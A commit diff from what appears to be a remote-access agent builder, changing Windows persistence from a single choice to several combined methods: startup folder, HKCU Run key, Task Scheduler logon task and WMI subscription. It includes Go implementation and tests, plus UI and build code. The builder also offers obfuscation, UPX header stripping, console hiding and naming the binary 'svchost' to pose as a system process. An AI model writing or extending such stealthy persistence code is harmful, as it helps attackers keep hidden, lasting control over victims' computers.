multi select persistence
This commit is contained in:
@@ -9,7 +9,7 @@ var DefaultPersistenceMethod = "startup"
|
||||
|
||||
var DefaultStartupName = ""
|
||||
|
||||
var persistInstallFn func(targetPath string) error = func(_ string) error { return nil }
|
||||
var persistInstallFns []func(exePath string) error
|
||||
|
||||
var persistUninstallFns []func() error
|
||||
|
||||
|
||||
@@ -44,23 +44,28 @@ func executablePrefix() string {
|
||||
return defaultExecutablePrefix
|
||||
}
|
||||
|
||||
func activeMethod() string {
|
||||
m := strings.ToLower(strings.TrimSpace(DefaultPersistenceMethod))
|
||||
switch m {
|
||||
case "registry", "taskscheduler", "wmi":
|
||||
return m
|
||||
default:
|
||||
return "startup"
|
||||
}
|
||||
}
|
||||
var hasStartupMethod bool
|
||||
|
||||
func getTargetPath() (string, error) {
|
||||
switch activeMethod() {
|
||||
case "registry", "taskscheduler", "wmi":
|
||||
if !hasStartupMethod && len(persistInstallFns) > 0 {
|
||||
return getAppDataTargetPath()
|
||||
default:
|
||||
return getStartupFolderTargetPath()
|
||||
}
|
||||
return getStartupFolderTargetPath()
|
||||
}
|
||||
|
||||
func installStartupImpl(exePath string) error {
|
||||
targetPath, err := getStartupFolderTargetPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
dir := filepath.Dir(targetPath)
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
return fmt.Errorf("failed to create startup directory: %w", err)
|
||||
}
|
||||
if strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
|
||||
return nil
|
||||
}
|
||||
return replaceExecutable(exePath, targetPath)
|
||||
}
|
||||
|
||||
func getStartupFolderTargetPath() (string, error) {
|
||||
@@ -178,25 +183,21 @@ func runPowerShell(script string) error {
|
||||
}
|
||||
|
||||
func install(exePath string) error {
|
||||
targetPath, err := getTargetPath()
|
||||
if err != nil {
|
||||
return err
|
||||
if len(persistInstallFns) == 0 {
|
||||
if err := installStartupImpl(exePath); err != nil {
|
||||
return err
|
||||
}
|
||||
_ = cleanupLegacyRunValues()
|
||||
return nil
|
||||
}
|
||||
|
||||
dir := filepath.Dir(targetPath)
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
return fmt.Errorf("failed to create directory: %w", err)
|
||||
var firstErr error
|
||||
for _, fn := range persistInstallFns {
|
||||
if err := fn(exePath); err != nil && firstErr == nil {
|
||||
firstErr = err
|
||||
}
|
||||
}
|
||||
|
||||
if err := replaceExecutable(exePath, targetPath); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := persistInstallFn(targetPath); err != nil {
|
||||
return fmt.Errorf("failed to install persistence: %w", err)
|
||||
}
|
||||
|
||||
_ = cleanupLegacyRunValues()
|
||||
return firstErr
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -241,24 +242,7 @@ func replaceExecutable(exePath, targetPath string) error {
|
||||
}
|
||||
|
||||
func configure(exePath string) error {
|
||||
targetPath, err := getTargetPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if exePath != "" && !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
|
||||
if err := replaceExecutable(exePath, targetPath); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
if err := persistInstallFn(targetPath); err != nil {
|
||||
return fmt.Errorf("failed to reconfigure persistence: %w", err)
|
||||
}
|
||||
|
||||
_ = cleanupLegacyRunValues()
|
||||
|
||||
return nil
|
||||
return install(exePath)
|
||||
}
|
||||
|
||||
func uninstall() error {
|
||||
|
||||
@@ -7,13 +7,32 @@ import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
func init() {
|
||||
persistInstallFn = installRegistry
|
||||
persistInstallFns = append(persistInstallFns, installRegistryFull)
|
||||
}
|
||||
|
||||
func installRegistryFull(exePath string) error {
|
||||
targetPath, err := getAppDataTargetPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
dir := filepath.Dir(targetPath)
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
return fmt.Errorf("failed to create directory: %w", err)
|
||||
}
|
||||
if !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
|
||||
if err := replaceExecutable(exePath, targetPath); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return installRegistry(targetPath)
|
||||
}
|
||||
|
||||
func installRegistry(targetPath string) error {
|
||||
|
||||
@@ -0,0 +1,9 @@
|
||||
//go:build windows && persist_startup
|
||||
// +build windows,persist_startup
|
||||
|
||||
package persistence
|
||||
|
||||
func init() {
|
||||
hasStartupMethod = true
|
||||
persistInstallFns = append(persistInstallFns, installStartupImpl)
|
||||
}
|
||||
@@ -5,14 +5,33 @@ package persistence
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func init() {
|
||||
persistInstallFn = installTaskScheduler
|
||||
persistInstallFns = append(persistInstallFns, installTaskSchedulerFull)
|
||||
persistUninstallFns = append(persistUninstallFns, uninstallTaskScheduler)
|
||||
}
|
||||
|
||||
func installTaskSchedulerFull(exePath string) error {
|
||||
targetPath, err := getAppDataTargetPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
dir := filepath.Dir(targetPath)
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
return fmt.Errorf("failed to create directory: %w", err)
|
||||
}
|
||||
if !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
|
||||
if err := replaceExecutable(exePath, targetPath); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return installTaskScheduler(targetPath)
|
||||
}
|
||||
|
||||
func installTaskScheduler(targetPath string) error {
|
||||
taskName := deriveTaskName(targetPath)
|
||||
safe := strings.ReplaceAll(targetPath, "'", "''")
|
||||
|
||||
@@ -0,0 +1,219 @@
|
||||
//go:build windows && persist_taskscheduler
|
||||
// +build windows,persist_taskscheduler
|
||||
|
||||
package persistence
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func queryTask(t *testing.T, taskName string) string {
|
||||
t.Helper()
|
||||
out, err := exec.Command("powershell.exe",
|
||||
"-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden",
|
||||
"-Command",
|
||||
`(Get-ScheduledTask -TaskName '`+taskName+`' -ErrorAction SilentlyContinue).Actions.Execute`).
|
||||
Output()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return strings.TrimSpace(string(out))
|
||||
}
|
||||
|
||||
func deleteTask(t *testing.T, taskName string) {
|
||||
t.Helper()
|
||||
_ = runPowerShell(`Unregister-ScheduledTask -TaskName '` + taskName + `' -Confirm:$false -ErrorAction SilentlyContinue`)
|
||||
}
|
||||
|
||||
// TestInstallTaskScheduler_RegistersTask verifies that a task with the
|
||||
// derived name is created and points to the supplied executable path.
|
||||
func TestInstallTaskScheduler_RegistersTask(t *testing.T) {
|
||||
target := `C:\Testing\ovd_tstest.exe`
|
||||
taskName := deriveTaskName(target)
|
||||
t.Cleanup(func() { deleteTask(t, taskName) })
|
||||
|
||||
if err := installTaskScheduler(target); err != nil {
|
||||
t.Fatalf("installTaskScheduler: %v", err)
|
||||
}
|
||||
|
||||
got := queryTask(t, taskName)
|
||||
if got == "" {
|
||||
t.Fatalf("scheduled task %q was not created", taskName)
|
||||
}
|
||||
if !strings.EqualFold(got, target) {
|
||||
t.Fatalf("task Execute = %q, want %q", got, target)
|
||||
}
|
||||
}
|
||||
|
||||
// TestInstallTaskScheduler_Idempotent verifies that calling install twice
|
||||
// updates the existing task rather than creating a second one.
|
||||
func TestInstallTaskScheduler_Idempotent(t *testing.T) {
|
||||
first := `C:\Testing\ovd_ts_first.exe`
|
||||
second := `C:\Testing\ovd_ts_second.exe`
|
||||
taskName := deriveTaskName(first)
|
||||
t.Cleanup(func() { deleteTask(t, taskName) })
|
||||
|
||||
if err := installTaskScheduler(first); err != nil {
|
||||
t.Fatalf("installTaskScheduler(first): %v", err)
|
||||
}
|
||||
if err := installTaskScheduler(second); err != nil {
|
||||
t.Fatalf("installTaskScheduler(second): %v", err)
|
||||
}
|
||||
|
||||
got := queryTask(t, taskName)
|
||||
if !strings.EqualFold(got, second) {
|
||||
t.Fatalf("task Execute after update = %q, want %q", got, second)
|
||||
}
|
||||
}
|
||||
|
||||
// TestInstallTaskScheduler_SingleQuoteInPath checks that a path containing a
|
||||
// single-quote is escaped correctly and does not cause a PowerShell error.
|
||||
func TestInstallTaskScheduler_SingleQuoteInPath(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
// Create a sub-directory whose name contains a single quote.
|
||||
quotedDir := filepath.Join(dir, "O'Brien")
|
||||
if err := os.MkdirAll(quotedDir, 0755); err != nil {
|
||||
t.Fatalf("mkdir: %v", err)
|
||||
}
|
||||
target := filepath.Join(quotedDir, "ovd_quote.exe")
|
||||
taskName := deriveTaskName(target)
|
||||
t.Cleanup(func() { deleteTask(t, taskName) })
|
||||
|
||||
if err := installTaskScheduler(target); err != nil {
|
||||
t.Fatalf("installTaskScheduler with quoted path: %v", err)
|
||||
}
|
||||
|
||||
got := queryTask(t, taskName)
|
||||
if got == "" {
|
||||
t.Fatalf("scheduled task %q was not created", taskName)
|
||||
}
|
||||
}
|
||||
|
||||
// TestUninstallTaskScheduler_RemovesTask verifies that uninstallTaskScheduler
|
||||
// removes tasks whose names match the executable prefix.
|
||||
func TestUninstallTaskScheduler_RemovesTask(t *testing.T) {
|
||||
target := `C:\Testing\ovd_ts_uninstall.exe`
|
||||
taskName := deriveTaskName(target)
|
||||
t.Cleanup(func() { deleteTask(t, taskName) })
|
||||
|
||||
if err := installTaskScheduler(target); err != nil {
|
||||
t.Fatalf("installTaskScheduler: %v", err)
|
||||
}
|
||||
if got := queryTask(t, taskName); got == "" {
|
||||
t.Fatalf("pre-condition: task %q not created", taskName)
|
||||
}
|
||||
|
||||
if err := uninstallTaskScheduler(); err != nil {
|
||||
t.Fatalf("uninstallTaskScheduler: %v", err)
|
||||
}
|
||||
|
||||
if got := queryTask(t, taskName); got != "" {
|
||||
t.Fatalf("task %q still exists after uninstall, Execute=%q", taskName, got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestInstallTaskSchedulerFull_CopiesAndRegisters verifies that
|
||||
// installTaskSchedulerFull copies the source binary to the appdata dir and
|
||||
// registers a scheduled task pointing to the copy.
|
||||
func TestInstallTaskSchedulerFull_CopiesAndRegisters(t *testing.T) {
|
||||
appData := t.TempDir()
|
||||
t.Setenv("APPDATA", appData)
|
||||
|
||||
// Write a tiny stub "executable" as the source.
|
||||
srcDir := t.TempDir()
|
||||
srcPath := filepath.Join(srcDir, "agent.exe")
|
||||
if err := os.WriteFile(srcPath, []byte("MZ"), 0755); err != nil {
|
||||
t.Fatalf("write source: %v", err)
|
||||
}
|
||||
|
||||
if err := installTaskSchedulerFull(srcPath); err != nil {
|
||||
t.Fatalf("installTaskSchedulerFull: %v", err)
|
||||
}
|
||||
|
||||
// The binary must have been copied to the appdata binary dir.
|
||||
entries, err := os.ReadDir(filepath.Join(appData, appDataBinaryDir))
|
||||
if err != nil {
|
||||
t.Fatalf("read appdata dir: %v", err)
|
||||
}
|
||||
var copiedName string
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
copiedName = e.Name()
|
||||
break
|
||||
}
|
||||
}
|
||||
if copiedName == "" {
|
||||
t.Fatal("no binary found in appdata binary dir after installTaskSchedulerFull")
|
||||
}
|
||||
|
||||
// A scheduled task pointing to the copy must exist.
|
||||
targetPath := filepath.Join(appData, appDataBinaryDir, copiedName)
|
||||
taskName := deriveTaskName(targetPath)
|
||||
t.Cleanup(func() { deleteTask(t, taskName) })
|
||||
|
||||
got := queryTask(t, taskName)
|
||||
if !strings.EqualFold(got, targetPath) {
|
||||
t.Fatalf("task Execute = %q, want %q", got, targetPath)
|
||||
}
|
||||
}
|
||||
|
||||
// TestInstallTaskSchedulerFull_SkipsCopyWhenAlreadyAtTarget verifies that
|
||||
// when the source and target paths are the same file, no copy is attempted
|
||||
// (no error from trying to replace a file with itself).
|
||||
func TestInstallTaskSchedulerFull_SkipsCopyWhenAlreadyAtTarget(t *testing.T) {
|
||||
appData := t.TempDir()
|
||||
t.Setenv("APPDATA", appData)
|
||||
|
||||
// Pre-create the binary directly in the appdata binary dir.
|
||||
destDir := filepath.Join(appData, appDataBinaryDir)
|
||||
if err := os.MkdirAll(destDir, 0755); err != nil {
|
||||
t.Fatalf("mkdir: %v", err)
|
||||
}
|
||||
name, _ := generateBinaryName()
|
||||
destPath := filepath.Join(destDir, name)
|
||||
if err := os.WriteFile(destPath, []byte("MZ"), 0755); err != nil {
|
||||
t.Fatalf("write dest: %v", err)
|
||||
}
|
||||
|
||||
taskName := deriveTaskName(destPath)
|
||||
t.Cleanup(func() { deleteTask(t, taskName) })
|
||||
|
||||
// Pass the already-placed binary as the source — no copy should occur.
|
||||
if err := installTaskSchedulerFull(destPath); err != nil {
|
||||
t.Fatalf("installTaskSchedulerFull (same path): %v", err)
|
||||
}
|
||||
|
||||
got := queryTask(t, taskName)
|
||||
if !strings.EqualFold(got, destPath) {
|
||||
t.Fatalf("task Execute = %q, want %q", got, destPath)
|
||||
}
|
||||
}
|
||||
|
||||
// TestInstallTaskScheduler_CustomName verifies that when DefaultStartupName is
|
||||
// set, the derived task name uses that prefix.
|
||||
func TestInstallTaskScheduler_CustomName(t *testing.T) {
|
||||
origName := DefaultStartupName
|
||||
t.Cleanup(func() { DefaultStartupName = origName })
|
||||
DefaultStartupName = "svchost"
|
||||
|
||||
target := `C:\Testing\svchost.exe`
|
||||
taskName := deriveTaskName(target)
|
||||
t.Cleanup(func() { deleteTask(t, taskName) })
|
||||
|
||||
if !strings.HasPrefix(taskName, "svchost_") {
|
||||
t.Fatalf("expected task name to start with 'svchost_', got %q", taskName)
|
||||
}
|
||||
|
||||
if err := installTaskScheduler(target); err != nil {
|
||||
t.Fatalf("installTaskScheduler with custom name: %v", err)
|
||||
}
|
||||
|
||||
got := queryTask(t, taskName)
|
||||
if got == "" {
|
||||
t.Fatalf("task %q not created", taskName)
|
||||
}
|
||||
}
|
||||
@@ -76,65 +76,72 @@ func TestIsOverlordRunValueName(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestActiveMethod(t *testing.T) {
|
||||
orig := DefaultPersistenceMethod
|
||||
t.Cleanup(func() { DefaultPersistenceMethod = orig })
|
||||
func TestGetTargetPath_NonStartupMethodsUseAppDataBinaryDir(t *testing.T) {
|
||||
origFns := persistInstallFns
|
||||
origHas := hasStartupMethod
|
||||
t.Cleanup(func() {
|
||||
persistInstallFns = origFns
|
||||
hasStartupMethod = origHas
|
||||
})
|
||||
|
||||
tests := []struct {
|
||||
in string
|
||||
want string
|
||||
}{
|
||||
{"startup", "startup"},
|
||||
{"registry", "registry"},
|
||||
{"taskscheduler", "taskscheduler"},
|
||||
{"wmi", "wmi"},
|
||||
{"REGISTRY", "registry"},
|
||||
{"TaskScheduler", "taskscheduler"},
|
||||
{"WMI", "wmi"},
|
||||
{"", "startup"},
|
||||
{"unknown", "startup"},
|
||||
{" registry ", "registry"},
|
||||
// Simulate a non-startup method registered (e.g. registry).
|
||||
hasStartupMethod = false
|
||||
persistInstallFns = []func(string) error{func(string) error { return nil }}
|
||||
|
||||
appData := t.TempDir()
|
||||
t.Setenv("APPDATA", appData)
|
||||
|
||||
got, err := getTargetPath()
|
||||
if err != nil {
|
||||
t.Fatalf("getTargetPath() error: %v", err)
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.in, func(t *testing.T) {
|
||||
DefaultPersistenceMethod = tt.in
|
||||
if got := activeMethod(); got != tt.want {
|
||||
t.Fatalf("activeMethod() = %q, want %q (input=%q)", got, tt.want, tt.in)
|
||||
}
|
||||
})
|
||||
wantDir := filepath.Join(appData, appDataBinaryDir)
|
||||
if !strings.EqualFold(filepath.Clean(filepath.Dir(got)), filepath.Clean(wantDir)) {
|
||||
t.Fatalf("expected dir %q, got %q", wantDir, filepath.Dir(got))
|
||||
}
|
||||
base := strings.ToLower(filepath.Base(got))
|
||||
if !strings.HasPrefix(base, executablePrefix()) || !strings.HasSuffix(base, ".exe") {
|
||||
t.Fatalf("expected ovd_*.exe name, got %q", filepath.Base(got))
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetTargetPath_NonStartupMethodsUseAppDataBinaryDir(t *testing.T) {
|
||||
orig := DefaultPersistenceMethod
|
||||
t.Cleanup(func() { DefaultPersistenceMethod = orig })
|
||||
func TestGetTargetPath_StartupMethodTakesPriorityOverOthers(t *testing.T) {
|
||||
origFns := persistInstallFns
|
||||
origHas := hasStartupMethod
|
||||
t.Cleanup(func() {
|
||||
persistInstallFns = origFns
|
||||
hasStartupMethod = origHas
|
||||
})
|
||||
|
||||
for _, method := range []string{"registry", "taskscheduler", "wmi"} {
|
||||
t.Run(method, func(t *testing.T) {
|
||||
DefaultPersistenceMethod = method
|
||||
appData := t.TempDir()
|
||||
t.Setenv("APPDATA", appData)
|
||||
// Simulate startup + another method both registered.
|
||||
hasStartupMethod = true
|
||||
persistInstallFns = []func(string) error{
|
||||
func(string) error { return nil },
|
||||
func(string) error { return nil },
|
||||
}
|
||||
|
||||
got, err := getTargetPath()
|
||||
if err != nil {
|
||||
t.Fatalf("getTargetPath() error: %v", err)
|
||||
}
|
||||
wantDir := filepath.Join(appData, appDataBinaryDir)
|
||||
if !strings.EqualFold(filepath.Clean(filepath.Dir(got)), filepath.Clean(wantDir)) {
|
||||
t.Fatalf("method=%q: expected dir %q, got %q", method, wantDir, filepath.Dir(got))
|
||||
}
|
||||
base := strings.ToLower(filepath.Base(got))
|
||||
if !strings.HasPrefix(base, executablePrefix()) || !strings.HasSuffix(base, ".exe") {
|
||||
t.Fatalf("method=%q: expected ovd_*.exe name, got %q", method, filepath.Base(got))
|
||||
}
|
||||
})
|
||||
appData := t.TempDir()
|
||||
t.Setenv("APPDATA", appData)
|
||||
|
||||
got, err := getTargetPath()
|
||||
if err != nil {
|
||||
t.Fatalf("getTargetPath() error: %v", err)
|
||||
}
|
||||
wantDir := filepath.Join(appData, startupFolderRelative)
|
||||
if !strings.EqualFold(filepath.Clean(filepath.Dir(got)), filepath.Clean(wantDir)) {
|
||||
t.Fatalf("expected startup dir %q, got %q", wantDir, filepath.Dir(got))
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetTargetPath_PrefersExistingBinary_AppDataDir(t *testing.T) {
|
||||
orig := DefaultPersistenceMethod
|
||||
t.Cleanup(func() { DefaultPersistenceMethod = orig })
|
||||
DefaultPersistenceMethod = "registry"
|
||||
origFns := persistInstallFns
|
||||
origHas := hasStartupMethod
|
||||
t.Cleanup(func() {
|
||||
persistInstallFns = origFns
|
||||
hasStartupMethod = origHas
|
||||
})
|
||||
hasStartupMethod = false
|
||||
persistInstallFns = []func(string) error{func(string) error { return nil }}
|
||||
|
||||
appData := t.TempDir()
|
||||
t.Setenv("APPDATA", appData)
|
||||
|
||||
@@ -5,14 +5,33 @@ package persistence
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func init() {
|
||||
persistInstallFn = installWMI
|
||||
persistInstallFns = append(persistInstallFns, installWMIFull)
|
||||
persistUninstallFns = append(persistUninstallFns, uninstallWMI)
|
||||
}
|
||||
|
||||
func installWMIFull(exePath string) error {
|
||||
targetPath, err := getAppDataTargetPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
dir := filepath.Dir(targetPath)
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
return fmt.Errorf("failed to create directory: %w", err)
|
||||
}
|
||||
if !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
|
||||
if err := replaceExecutable(exePath, targetPath); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return installWMI(targetPath)
|
||||
}
|
||||
|
||||
func installWMI(targetPath string) error {
|
||||
filterName, consumerName := deriveWMINames(targetPath)
|
||||
safe := strings.ReplaceAll(targetPath, "'", "''")
|
||||
|
||||
@@ -105,7 +105,7 @@ function saveFormSettings() {
|
||||
upxStripHeaders: document.querySelector('input[name="upx-strip-headers"]')?.checked ?? false,
|
||||
sleepSeconds: document.getElementById("sleep-seconds")?.value ?? "0",
|
||||
enablePersistence: document.querySelector('input[name="enable-persistence"]')?.checked ?? false,
|
||||
persistenceMethod: document.getElementById("persistence-method")?.value ?? "startup",
|
||||
persistenceMethods: Array.from(document.querySelectorAll('input[name="persistence-method"]:checked')).map((el) => el.value),
|
||||
startupName: document.getElementById("startup-name")?.value ?? "",
|
||||
hideConsole: document.querySelector('input[name="hide-console"]')?.checked ?? false,
|
||||
requireAdmin: document.querySelector('input[name="require-admin"]')?.checked ?? false,
|
||||
@@ -153,7 +153,11 @@ function restoreFormSettings() {
|
||||
if (s.upxStripHeaders !== undefined) setCb('input[name="upx-strip-headers"]', s.upxStripHeaders);
|
||||
if (s.sleepSeconds !== undefined) setVal("sleep-seconds", s.sleepSeconds);
|
||||
if (s.enablePersistence !== undefined) setCb('input[name="enable-persistence"]', s.enablePersistence);
|
||||
if (s.persistenceMethod !== undefined) setVal("persistence-method", s.persistenceMethod);
|
||||
if (Array.isArray(s.persistenceMethods)) {
|
||||
document.querySelectorAll('input[name="persistence-method"]').forEach((el) => {
|
||||
el.checked = s.persistenceMethods.includes(el.value);
|
||||
});
|
||||
}
|
||||
if (s.startupName !== undefined) setVal("startup-name", s.startupName);
|
||||
if (s.hideConsole !== undefined) setCb('input[name="hide-console"]', s.hideConsole);
|
||||
if (s.requireAdmin !== undefined) setCb('input[name="require-admin"]', s.requireAdmin);
|
||||
@@ -559,8 +563,8 @@ form?.addEventListener("submit", async (e) => {
|
||||
'input[name="enable-persistence"]',
|
||||
).checked;
|
||||
const hasWindowsTarget = platforms.some((platform) => platform.startsWith("windows-"));
|
||||
const persistenceMethod = hasWindowsTarget
|
||||
? form.querySelector("#persistence-method")?.value || "startup"
|
||||
const persistenceMethods = hasWindowsTarget
|
||||
? Array.from(form.querySelectorAll('input[name="persistence-method"]:checked')).map((el) => el.value)
|
||||
: undefined;
|
||||
const startupNameVal = hasWindowsTarget
|
||||
? (form.querySelector("#startup-name")?.value.trim() || "")
|
||||
@@ -596,7 +600,7 @@ form?.addEventListener("submit", async (e) => {
|
||||
disableCgo,
|
||||
obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethod: enablePersistence && hasWindowsTarget ? persistenceMethod : undefined,
|
||||
persistenceMethods: enablePersistence && hasWindowsTarget ? (persistenceMethods && persistenceMethods.length > 0 ? persistenceMethods : ['startup']) : undefined,
|
||||
startupName: enablePersistence && hasWindowsTarget && startupNameVal ? startupNameVal : undefined,
|
||||
hideConsole,
|
||||
noPrinting,
|
||||
|
||||
@@ -316,15 +316,39 @@
|
||||
|
||||
<div id="persistence-windows-settings" class="hidden" data-persistence-os="windows">
|
||||
<div class="text-xs font-semibold text-slate-300 mb-2 flex items-center gap-2">
|
||||
<i class="fa-brands fa-windows text-blue-400"></i> Windows Persistence Method
|
||||
<i class="fa-brands fa-windows text-blue-400"></i> Windows Persistence Methods
|
||||
<span class="text-xs text-slate-500 font-normal">(select one or more)</span>
|
||||
</div>
|
||||
<div class="flex flex-col gap-2" id="persistence-methods-list">
|
||||
<label class="flex items-center gap-2 p-2 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors">
|
||||
<input type="checkbox" name="persistence-method" value="startup" class="w-4 h-4" checked />
|
||||
<div class="flex flex-col">
|
||||
<span class="text-sm text-slate-200">Startup Folder (APPDATA)</span>
|
||||
<span class="text-xs text-slate-500">Copies agent to user startup folder — no admin required</span>
|
||||
</div>
|
||||
</label>
|
||||
<label class="flex items-center gap-2 p-2 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors">
|
||||
<input type="checkbox" name="persistence-method" value="registry" class="w-4 h-4" />
|
||||
<div class="flex flex-col">
|
||||
<span class="text-sm text-slate-200">Registry (HKCU Run key)</span>
|
||||
<span class="text-xs text-slate-500">Adds a Run key under HKCU — no admin required</span>
|
||||
</div>
|
||||
</label>
|
||||
<label class="flex items-center gap-2 p-2 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors">
|
||||
<input type="checkbox" name="persistence-method" value="taskscheduler" class="w-4 h-4" />
|
||||
<div class="flex flex-col">
|
||||
<span class="text-sm text-slate-200">Task Scheduler (ONLOGON)</span>
|
||||
<span class="text-xs text-slate-500 text-orange-400/80">Requires admin privileges</span>
|
||||
</div>
|
||||
</label>
|
||||
<label class="flex items-center gap-2 p-2 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors">
|
||||
<input type="checkbox" name="persistence-method" value="wmi" class="w-4 h-4" />
|
||||
<div class="flex flex-col">
|
||||
<span class="text-sm text-slate-200">WMI Subscription</span>
|
||||
<span class="text-xs text-slate-500 text-orange-400/80">Requires admin privileges</span>
|
||||
</div>
|
||||
</label>
|
||||
</div>
|
||||
<select id="persistence-method" name="persistence-method"
|
||||
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors">
|
||||
<option value="startup">Startup Folder (APPDATA)</option>
|
||||
<option value="registry">Registry (HKCU Run key)</option>
|
||||
<option value="taskscheduler">Task Scheduler (ONLOGON, requires admin)</option>
|
||||
<option value="wmi">WMI Subscription (requires admin)</option>
|
||||
</select>
|
||||
<div class="mt-3">
|
||||
<div class="text-xs font-semibold text-slate-300 mb-2 flex items-center gap-2">
|
||||
<i class="fa-solid fa-file-signature text-blue-400"></i> Startup File Name
|
||||
@@ -333,7 +357,7 @@
|
||||
pattern="[A-Za-z0-9_-]+"
|
||||
placeholder="ovd (default)"
|
||||
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors placeholder:text-slate-600" />
|
||||
<p class="text-xs text-slate-500 mt-1">Custom name for the startup executable (e.g. <code>svchost</code> → <code>svchost.exe</code>). Leave blank for default randomized name.</p>
|
||||
<p class="text-xs text-slate-500 mt-1">Custom executable name used by all selected methods (e.g. <code>svchost</code> → <code>svchost.exe</code>). Leave blank for default randomized name.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
@@ -19,7 +19,7 @@ export type BuildConfig = {
|
||||
disableCgo?: boolean;
|
||||
obfuscate?: boolean;
|
||||
enablePersistence?: boolean;
|
||||
persistenceMethod?: string;
|
||||
persistenceMethods?: string[];
|
||||
startupName?: string;
|
||||
hideConsole?: boolean;
|
||||
noPrinting?: boolean;
|
||||
|
||||
@@ -69,7 +69,7 @@ type BuildProcessConfig = {
|
||||
disableCgo?: boolean;
|
||||
obfuscate?: boolean;
|
||||
enablePersistence?: boolean;
|
||||
persistenceMethod?: string;
|
||||
persistenceMethods?: string[];
|
||||
startupName?: string;
|
||||
hideConsole?: boolean;
|
||||
noPrinting?: boolean;
|
||||
@@ -129,8 +129,6 @@ function stripUpxHeaders(filePath: string): boolean {
|
||||
}
|
||||
}
|
||||
|
||||
const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
|
||||
|
||||
type BuildProcessDeps = {
|
||||
generateBuildMutex: (length?: number) => string;
|
||||
sanitizeOutputName: (name: string) => string;
|
||||
@@ -697,12 +695,10 @@ func runBoundFiles() {
|
||||
if (!platform.startsWith('android-')) {
|
||||
const persistenceFlag = "-X overlord-client/cmd/agent/config.DefaultPersistence=true";
|
||||
ldflags = ldflags ? `${ldflags} ${persistenceFlag}` : persistenceFlag;
|
||||
sendToStream({ type: "output", text: `Persistence enabled for ${platform}\n`, level: "info" });
|
||||
if (os === 'windows' && config.persistenceMethod && VALID_PERSISTENCE_METHODS.has(config.persistenceMethod)) {
|
||||
const methodFlag = `-X overlord-client/cmd/agent/persistence.DefaultPersistenceMethod=${config.persistenceMethod}`;
|
||||
ldflags = `${ldflags} ${methodFlag}`;
|
||||
sendToStream({ type: "output", text: `Persistence method: ${config.persistenceMethod}\n`, level: "info" });
|
||||
}
|
||||
const activeMethods = config.persistenceMethods && config.persistenceMethods.length > 0
|
||||
? config.persistenceMethods
|
||||
: ['startup'];
|
||||
sendToStream({ type: "output", text: `Persistence enabled for ${platform} (methods: ${activeMethods.join(', ')})\n`, level: "info" });
|
||||
if (os === 'windows' && config.startupName) {
|
||||
const startupNameFlag = `-X overlord-client/cmd/agent/persistence.DefaultStartupName=${config.startupName}`;
|
||||
ldflags = `${ldflags} ${startupNameFlag}`;
|
||||
@@ -758,11 +754,13 @@ func runBoundFiles() {
|
||||
if (config.noPrinting) buildTags.push("noprint");
|
||||
if (hasBoundFiles) buildTags.push("hasbinder");
|
||||
if (config.enablePersistence && os === "windows") {
|
||||
const method = config.persistenceMethod || "startup";
|
||||
if (method === "registry") buildTags.push("persist_registry");
|
||||
else if (method === "taskscheduler") buildTags.push("persist_taskscheduler");
|
||||
else if (method === "wmi") buildTags.push("persist_wmi");
|
||||
// startup method uses the default no-op persistInstallFn — no tag needed
|
||||
const methods = config.persistenceMethods && config.persistenceMethods.length > 0
|
||||
? config.persistenceMethods
|
||||
: ['startup'];
|
||||
